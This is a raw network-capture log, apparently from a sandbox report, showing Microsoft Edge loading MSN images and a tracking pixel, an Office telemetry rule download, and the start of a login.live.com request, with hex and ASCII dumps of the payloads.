2024-11-27 15:35:01 UTC	16384	IN	Data Raw: de f2 97 ec 9c ed 9c 43 67 d1 d1 ca aa 79 7b d6 8f d8 ac 60 0d 41 a1 f5 bc d5 5f 49 bf 44 e6 ba c5 7d 9a d6 45 fe 42 d2 b5 48 28 3f db f4 76 72 37 7b db 58 35 28 23 fb ad e5 fe 17 83 92 21 56 f9 8b 26 b1 0b 4f b9 5f 27 47 29 73 bb 52 d2 3d 20 42 d3 e1 43 d8 f5 5c c7 ab 31 ff 00 33 e9 f6 76 b9 b4 05 61 57 b6 9e dd 5f 71 0b ef ac 0d f8 7b 63 d6 f9 77 88 ee 94 05 70 9c 69 fe 2a dc f0 f2 fc e7 74 ac 0a f4 4c f8 13 f2 2f 1c c5 78 6a e3 19 bf 2b 2c 2f 12 56 89 aa 0e 34 78 67 eb 7a 8a aa 46 48 b8 9c 73 ec 98 cb ae 8f 07 79 80 ca 60 52 27 83 a0 dc 90 ed 25 d3 4f 78 17 68 a5 54 52 68 93 bd 3c 5f 38 a8 0a 66 f1 dc be 52 60 31 52 54 a3 8c 02 45 27 83 e9 5f ab 94 ca 15 e3 91 b9 e5 29 97 ed 87 21 69 26 da 94 9c f3 a9 dd ab e5 f3 3c aa 53 79 40 51 20 8e d6 8c a0 9f 8e Data Ascii: Cgy{`A_ID}EBH(?vr7{X5(#!V&O_'G)sR= BC\13vaW_q{cwpi*tL/xj+,/V4xgzFHsy`R'%OxhTRh<_8fR`1RTE'_)!i&<Sy@Q
2024-11-27 15:35:01 UTC	16384	IN	Data Raw: d4 ba a5 24 a9 49 cc 53 16 ee 00 fb df 3c 9c 42 6a a0 92 68 28 92 77 7a f7 97 41 b9 dc db 3d e2 92 27 d0 42 44 c5 73 57 17 aa 4b 74 95 7b 1a e2 98 46 60 6b eb 3e e7 4a ee 04 12 13 fd c7 44 ee 9d f1 a0 7c cb 01 7d e9 5e 48 34 95 74 f7 3b ff 00 0e 6e 95 a2 4a 11 e9 15 1c d4 ad 33 76 92 ec 2a bc a5 8e f5 00 a9 5e 8c e6 13 c4 e9 2e 81 73 f1 64 db 04 80 91 4d e4 fd 5d e8 41 b5 65 76 ad f9 94 a3 e6 56 83 d4 e9 b3 ca 9b 69 04 2c 05 95 6d 90 f5 b7 f2 67 7f e6 db 70 84 da 4a 48 a8 4e 18 9c 86 dd 54 5f 19 6b 4e 34 79 3d 18 84 cc 0f 1d 5f a3 29 4a e0 ee 14 c5 49 3f 37 c1 55 84 77 f5 2a 89 93 3e 92 8e e0 1c 89 27 85 7c c5 cb 97 0c 93 1b 1e 20 a5 91 dd 26 80 99 3b c9 e2 fb 69 1f 89 ef 16 94 e0 c9 20 e6 63 86 92 d8 e5 d3 64 27 21 b9 79 99 dc 06 a7 b1 ea ca b7 00 5b 51 Data Ascii: $IS<Bjh(wzA='BDsWKt{F`k>JD\|}^H4t;nJ3v^.sdM]AevVi,mgpJHNT_kN4y=_)JI?7Uw>'\| &;i cd'!y[Q
2024-11-27 15:35:01 UTC	5904	IN	Data Raw: 0d d2 ea 58 99 b9 db e0 db ae 66 db 07 18 1b 90 c5 bc d9 0d c9 69 b6 43 f0 6d 8b 8c 82 90 e4 86 2d d5 81 4b 6c 1b 64 14 97 25 8b 8c 1c b4 dd 1a 60 9c 97 1c a6 e6 50 b5 5d cd f8 39 3c 3d ec d2 4c 68 c0 a8 7b 2c 89 07 ed 6b bc 19 11 1b 03 2f a7 ea 09 e1 1e 21 96 13 a2 bf c4 e6 34 ef 3d 4e 19 54 42 24 6f a8 71 ad fd bd db d1 63 99 50 94 04 ab 62 d3 3d 58 a5 ea 45 9f 88 a7 24 dd fe 94 9f 79 78 6c f2 c9 57 a5 89 27 4c 24 17 ea ac a9 40 01 87 14 6a 52 67 c4 a4 3c cb 95 c7 6f 5d bf a8 05 cb e9 81 71 55 d5 31 5e ac 4e e4 5c 56 30 02 64 1c d4 48 4c 78 47 cd ea 29 50 af 77 64 f8 a8 9e d9 60 84 83 38 87 86 14 80 36 50 38 cb 42 a2 2a 7e 6f 31 da da d5 48 4c f5 fd 1e 6c 57 37 0e b1 ea 70 02 d4 f0 ad 79 8a 9e b2 cd 53 32 60 f4 d8 f0 dc 32 69 03 a6 c7 b8 62 c7 8b 71 f0 Data Ascii: XfiCm-Kld%`P]9<=Lh{,k/!4=NTB$oqcPb=XE$yxlW'L$@jRg<o]qU1^N\V0dHLxG)Pwd`86P8B*~o1HLlW7pyS2`2ibq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.7	49904	104.117.182.65	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:00 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZ9.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:35:00 UTC	518	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 23 Nov 2024 18:59:48 GMT X-Datacenter: eastus X-ActivityId: 74fbb662-ece7-4da9-bb97-bbbfcb9230c0 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZ9 X-Source-Length: 54392 Content-Length: 54392 Cache-Control: public, max-age=98648 Expires: Thu, 28 Nov 2024 18:59:08 GMT Date: Wed, 27 Nov 2024 15:35:00 GMT Connection: close
2024-11-27 15:35:00 UTC	15866	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 15:35:01 UTC	16384	IN	Data Raw: ce 6f 4c de 99 2c 95 67 6b 1e 84 3e e1 e2 f1 c1 25 d9 ea bf 73 b3 77 8c e1 f6 e3 71 78 df 44 ba f9 f2 3c 27 b6 2f 48 cf 08 bc eb 9e 7c 47 11 36 db dc 9a d7 24 e9 7d 0d b7 c5 71 1b 57 53 7a ff 00 97 8b da 1f d1 27 d1 37 91 9d a3 6d 7d c7 76 37 ea 25 b9 cb f4 d3 f8 2c 80 6e 71 fc 44 f2 6a 0b b2 fe 59 bd 12 3d 12 71 8b ca b9 d7 13 c4 c5 e9 bb 27 e7 af b4 37 fd 43 88 5f e2 fe 03 f4 49 7b 25 c8 9b 4b fe a1 c4 5e 50 ae 54 ff 00 73 ab 6b ee 29 c9 29 ed b5 6d 2b 4e fd a7 23 d9 34 76 3c 51 f3 5e d3 37 ac ca d4 ed 76 3e 95 4b b0 55 2e c4 a8 04 50 67 0c 6d 69 a2 d3 5c 85 81 94 a0 c6 41 49 ae 45 ac 2c 9c 0c d3 96 de cc 71 6e 49 45 5a 5e 6d f4 46 5a 19 24 78 3f 74 fb b6 d7 07 07 0d af 16 ec be 57 5e 18 e6 9c af f5 55 74 d2 cf 2b ee 5f 79 c4 fd 0e 12 55 76 a7 b9 96 6b Data Ascii: oL,gk>%swqxD<'/H\|G6$}qWSz'7m}v7%,nqDjY=q'7C_I{%K^PTsk))m+N#4v<Q^7v>KU.Pgmi\AIE,qnIEZ^mFZ$x?tW^Ut+_yUvk
2024-11-27 15:35:01 UTC	1782	IN	Data Raw: 17 e1 ef 9b 57 4f 2d 35 79 de 87 e7 9a 75 5a 91 4d bc 8e 7f 6f 66 f8 47 dd ee 7f dc bb 31 c5 18 6c ce 54 e4 94 ad 24 d2 f9 5f 3d 73 67 9f ff 00 f9 3f 17 51 51 db da 8a 5a 3c f5 b3 e5 5e dc aa ea 84 95 12 f7 ed 7d 56 75 91 fa 14 7f ee 9d b5 b2 b1 6c 49 ee 52 ca 49 46 d7 5c af 5c cf 9f e3 fe f7 c5 71 b5 14 f0 46 db a5 a6 b6 dc 7c da 5c f9 1e 0d c4 96 67 95 5c 87 2c 57 89 b6 db ea d8 ad af 31 b9 36 6a 32 a7 89 b4 c9 a3 51 82 2d 52 05 26 51 21 49 30 aa bc 98 34 32 82 26 f9 d9 69 27 d5 2f 61 cc c2 46 5a 6b fe 84 15 28 b4 0c e8 b4 bb a2 1c 7a a2 a0 43 a3 18 a8 66 31 80 42 28 c4 c1 23 19 54 45 8d 09 cb 6e 49 c5 d3 47 ab b1 c5 bb 4e dc 26 9d c6 4b 46 9f 34 79 4e 86 8b aa fd a7 ed 9f 72 db fb 86 ca 84 9d 6f ed c5 63 5d 27 d3 14 7c fa ae 67 a3 2d 0f c3 b6 b7 e7 b2 Data Ascii: WO-5yuZMofG1lT$_=sg?QQZ<^}VulIRIF\\qF\|\g\,W16j2Q-R&Q!I042&i'/aFZk(zCf1B(#TEnIGN&KF4yNroc]'\|g-
2024-11-27 15:35:01 UTC	16384	IN	Data Raw: 8e 95 13 83 6a b1 f8 9f fa f4 3b a5 71 55 97 5f 7e a6 a2 61 c6 50 bb 6d af 85 9d 4f 7a 12 8d 3b d1 69 91 e6 96 54 5c 2e 57 d8 e9 8f 87 4b fe 40 6d cb 04 d3 cf a3 09 2f 0e e7 c4 a8 e8 c3 77 d8 f7 78 69 c6 51 8a 49 e2 4b 0c 96 69 aa fe 7a f7 3c 28 bf 16 87 a5 c2 ce 3b 73 f1 2f 0c b4 eb 97 e7 32 af 5b e5 d3 3e 1e 49 e9 6a ee 9d 6b a7 6e 7c c9 a6 b4 67 5a 84 f6 b7 d4 d3 b8 ad 3b eb 9b a0 7b 9f 34 a9 67 f2 df 46 46 ac 52 a9 a4 92 6d a4 ef c8 e5 96 9a 74 3a b8 79 5c e2 de 97 9f 40 5b d0 a9 b3 6e 76 23 65 78 d3 ab a7 67 ad 85 db ac d6 ab f6 4c f1 ad c3 55 99 ea 6c 62 dc db 93 bd 60 d7 b9 ff 00 06 7b 2f 5f 61 a3 c4 2c 78 65 e1 e4 ff 00 73 bd 4a 2a 37 4b 12 f7 3b e8 78 fb d0 f0 e3 8f 3a 7d 8e ae 16 4b 75 38 49 d3 59 77 f3 33 67 8d 74 eb 7c e0 f2 db b5 69 51 cb 78 Data Ascii: j;qU_~aPmOz;iT\.WK@m/wxiQIKiz<(;s/2[>Ijkn\|gZ;{4gFFRmt:y\@[nv#exgLUlb`{/_a,xesJ*7K;x:}Ku8IYw3gt\|iQx
2024-11-27 15:35:01 UTC	3976	IN	Data Raw: 63 01 8e 88 dd 61 8e 8d e6 ff 00 80 0b 30 f6 ac 09 71 a1 16 dd af 6b 26 9f 2c c0 a8 67 6c a6 f9 8b b1 a3 17 3b f6 f4 40 4b 09 1d 89 49 62 75 15 f5 f7 05 f4 94 53 b6 b4 eb 44 cf 72 fc 31 c8 2a 70 c2 2a d5 d9 51 78 b3 59 f5 e5 a0 07 25 a6 7f c0 af a8 57 5f a8 a2 ef 37 d2 c4 f7 1b 79 9c 97 d4 69 d8 41 dc f4 a6 0d b0 6f cc 4c 0a 6c b4 0a 36 e5 e4 1d 73 01 37 41 36 d7 ea 7f 00 15 61 db c2 92 e4 14 47 26 c6 9b 1c 20 e4 b1 3d 02 c7 6a 4f 59 3c 11 e6 f3 7e 4b f2 80 2a e2 77 df 87 13 9f 25 24 a7 ff 00 ad 33 b2 13 db 8a 6f 71 db 7f a6 09 25 ef fc 28 e1 9e fe de dc 70 c1 25 df af 9b 7f 9a 3c df 51 e1 ac d9 07 b5 ea 70 f7 6d 4f 4c 96 28 a5 5f fd 59 b7 38 bd a7 b4 b6 e3 15 86 16 e2 b1 37 af 37 55 6f bb b3 c3 c4 c6 9f 6f 78 5d 76 c6 73 f4 b7 7c 55 17 86 4e 2b 4b 72 d2 Data Ascii: ca0qk&,gl;@KIbuSDr1pQxY%W_7yiAoLl6s7A6aG& =jOY<~K*w%$3oq%(p%<QpmOL(_Y877Uoox]vs\|UN+Kr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.7	49905	104.117.182.65	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:00 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:35:00 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDBP Last-Modified: Wed, 20 Nov 2024 15:58:39 GMT X-Source-Length: 59155 X-Datacenter: eastus X-ActivityId: 95d59d89-9e78-4fb4-b5cb-b42dc811ee6a Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 59155 Cache-Control: public, max-age=217475 Expires: Sat, 30 Nov 2024 03:59:35 GMT Date: Wed, 27 Nov 2024 15:35:00 GMT Connection: close
2024-11-27 15:35:00 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 15:35:01 UTC	16384	IN	Data Raw: 40 c1 9d a0 da 00 d4 26 32 c8 84 1b 03 01 50 d3 b8 4a 59 c9 cf ab 29 a6 9e 07 ad e5 79 ba 73 52 c4 f1 5d 06 d9 59 b5 65 39 46 3b 9b 71 9c 79 b7 db dd 9c 27 c9 f4 29 1c e2 72 9c ed 39 89 26 76 13 93 cc cf 09 c6 6a 5e 9e 39 46 51 70 d0 22 04 c9 a9 a4 82 90 4a 34 92 44 90 08 da c8 51 9c 92 40 34 da 41 24 69 24 d1 f8 20 dd 04 bd 90 02 11 04 5d db c6 49 55 14 d7 7a 4c a9 5f 27 94 ee 50 5d 26 82 b1 cf 2c 79 4c a3 2c 31 9e 71 0e 3d 7d 9d a2 96 9f 1c 0e 6e 67 21 98 be c7 d1 f2 3d 58 53 37 8f 51 9c 79 b0 cb d3 e1 2f 07 5f 2a d5 e8 a7 57 2e 96 83 e8 ae 9a 6a bd 26 61 57 29 91 5d f4 25 c0 e9 c7 d6 71 89 f9 39 f2 f4 77 ca 61 cf 75 08 d8 92 2c 97 4c ec d2 2b 04 92 46 56 90 2d 90 a0 c8 11 6c 85 21 a4 13 0c 0f a2 0d 00 20 94 22 30 b6 20 ca c5 0a 11 40 ac 04 81 81 05 13 Data Ascii: @&2PJY)ysR]Ye9F;qy')r9&vj^9FQp"J4DQ@4A$i$ ]IUzL_'P]&,yL,1q=}ng!=XS7Qy/_*W.j&aW)]%q9wau,L+FV-l! "0 @
2024-11-27 15:35:01 UTC	2474	IN	Data Raw: 90 1a 85 31 8d 7e 02 d9 d7 c0 de 09 64 5a 8f 4a bd 91 6c eb e0 5a 81 7c aa f6 95 fa 57 43 1e a9 3d 30 af 67 bf d8 57 45 ea 0d de 66 52 fb a9 33 79 f9 2b 4b 7d 03 bc ff 00 6c a7 f4 f1 82 58 c7 a6 7a 09 63 c7 83 92 3e 6b 2f 45 35 3e a4 23 e6 f6 51 ee 5c 63 bb 3f 0a 75 6d f1 6b e9 f7 f5 0c b2 bb e4 a8 f9 ca f4 53 4a e8 9f 89 93 e6 b3 bf 54 70 48 af 0f 73 cb dd 3e 26 df 9b a6 b2 87 f4 8e 2b cf cd 7f f6 56 64 eb ad df 5d 4f a5 8f c1 cf f7 47 e4 bc 5c 78 3d 05 84 af 69 0b 39 54 df 5d 1f 89 1e 78 90 57 81 c7 29 f6 4f 8b ff 00 18 77 bd 7e 5d 7f d9 4f 44 b1 7f bb e5 d6 96 fa 3c 4e 13 41 82 bc 0c 78 e4 5e 2e 5c 21 d8 7c f6 56 8a 2a 7d 48 cd f3 fb 32 d7 4b 39 90 c9 0f 61 51 b3 87 04 f8 b9 f1 85 d7 cf 66 e8 54 ae 89 ef 31 7c ce 6d 57 d4 fb bb 8a f6 49 05 e8 c2 3b 42 Data Ascii: 1~dZJlZ\|WC=0gWEfR3y+K}lXzc>k/E5>#Q\c?umkSJTpHs>&+Vd]OG\x=i9T]xW)Ow~]OD<NAx^.\!\|V*}H2K9aQfT1\|mWI;B
2024-11-27 15:35:01 UTC	16384	IN	Data Raw: 45 d7 53 ba d3 47 a7 b2 9b cb a6 30 74 da a9 68 6e 04 97 15 d7 a5 e0 9f e8 5b f4 29 1f 8b e4 5e 17 9b ce 59 cd a5 b5 65 a6 aa 9a 52 4f ca b4 d9 4a 56 3f 99 8b 0d 25 14 b5 67 1a 14 4c 36 f1 94 b6 cd d5 b8 47 a4 b1 fe 9d 1b fc ff 00 99 e9 de d3 d0 ee 32 69 35 99 53 5e 5a 5a 54 53 a1 3d af 77 b0 fc 58 2f 0a 5e 7e ca 52 94 45 15 26 a3 cd 66 97 7e c4 da 7a 26 56 83 2a a8 a5 d3 5e c9 d1 e6 99 d2 b4 55 17 b5 4a 58 69 3d 25 59 58 a5 52 4d a4 9d 72 a6 9a 14 df 45 3b 78 19 3c 8a 6a b4 a3 e9 a6 d5 2e fa aa 9d 3b 12 db 10 54 6e 42 67 6e 5c 0a f2 a1 d7 57 95 fa 74 d3 42 fd 34 a7 85 b6 f6 6c 6b 15 a4 ad 57 2e a8 84 e6 28 6a db 8f 36 64 e2 9d 2b f4 7e 66 e0 f4 9f db d0 ea c9 69 45 ba 21 2c 5a a5 3e 9c 56 dc 4c 17 2a 92 9c 70 9c a6 e7 ea a5 e8 4d e0 96 e9 65 c6 e7 9a 27 Data Ascii: ESG0thn[)^YeROJV?%gL6G2i5S^ZZTS=wX/^~RE&f~z&V^UJXi=%YXRMrE;x<j.;TnBgn\WtB4lkW.(j6d+~fiE!,Z>VLpMe'
2024-11-27 15:35:01 UTC	8048	IN	Data Raw: 3e f7 2d 77 22 7b ef 78 2e 80 24 f7 8d 97 75 e9 11 2c 1a c6 a7 53 e9 a7 72 6a 3b 99 a5 fb f8 79 69 0f be ea 70 5d 2c 0c 8a 56 9e 3b c1 76 2f c2 07 e1 87 f4 f8 b2 6b fa 9f 80 8e c9 1a 2f 6f 42 23 a1 2d 38 ec 89 eb 1f 87 5b f9 13 09 6a 5a 51 fc d5 3d 88 46 0e 62 3c b3 84 bf 82 f8 8d 8a fb 5c ee 8c 10 9e db af 6c 31 2e fc 76 b1 1b 59 57 6e 6d ee f1 63 6d d0 e1 5f a1 6f 7a 38 23 3b 55 60 94 60 e2 62 f1 eb aa cc 53 18 af 35 6f 0b b4 10 a8 68 9f cb f2 d2 af 7e 03 a6 9d 9c 36 c2 d2 f7 bd c6 3a 54 4a 4f 19 77 7c df 70 ea 1c ec d3 c1 68 e9 25 4d d3 bb 4c cb 5b e3 e0 b4 6d 61 4e 16 db 92 df 56 96 64 aa d3 76 df cb 4f e9 5b c6 98 5e c9 6b df a4 93 6d b7 4e 2a 5e d7 b1 07 ab 6e ef d9 7b 99 dd 3f 97 bd e8 1b 6a e3 d7 b7 82 d0 49 9f 86 cc 37 6f 7b d8 dd da 38 6b 7b 11 Data Ascii: >-w"{x.$u,Srj;yip],V;v/k/oB#-8[jZQ=Fb<\l1.vYWnmcm_oz8#;U``bS5oh~6:TJOw\|ph%ML[maNVdvO[^kmN*^n{?jI7o{8k{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	49906	20.110.205.119	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:00 UTC	1279	OUT	GET /c.gif?rnd=1732728792496&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=221ec520250b43099d1fa8eff7ffc145&activityId=221ec520250b43099d1fa8eff7ffc145&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=5F52A0B36D744129A8759321B8EDA26D&MUID=1E3415CF46DC6CBF03A7008B47566DA7 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1E3415CF46DC6CBF03A7008B47566DA7; _EDGE_S=F=1&SID=26375401AFD5621E074E4145AE73634F; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-27 15:35:01 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1E3415CF46DC6CBF03A7008B47566DA7; domain=.msn.com; expires=Mon, 22-Dec-2025 15:35:01 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=1E3415CF46DC6CBF03A7008B47566DA7; domain=c.msn.com; expires=Mon, 22-Dec-2025 15:35:01 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Wed, 04-Dec-2024 15:35:01 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Wed, 27-Nov-2024 15:45:01 GMT; path=/; SameSite=None; Secure; Date: Wed, 27 Nov 2024 15:35:00 GMT Connection: close Content-Length: 42
2024-11-27 15:35:01 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:01 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:35:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:35:01 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 49e8a97e-c01e-008e-5491-3f7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153501Z-174f7845968psccphC1EWRuz9s0000000xag00000000kgvv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:35:01 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	49909	20.190.177.82	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:01 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
